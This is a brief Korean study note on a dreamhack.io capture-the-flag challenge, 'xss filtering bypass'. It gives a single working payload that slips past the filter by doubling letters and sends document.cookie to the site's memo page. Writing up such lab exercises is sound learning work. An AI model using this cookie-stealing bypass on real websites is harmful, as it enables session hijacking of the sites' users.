정보보호 6일차

dreamhack.io

xss filtering bypass

이전 xss들고 비슷한 형식의 문제다.
코드를 보면

필터링이 있는데
locatioonn.href="/memo?memo="+document.cookie로 입력하면
얻을 수 있다.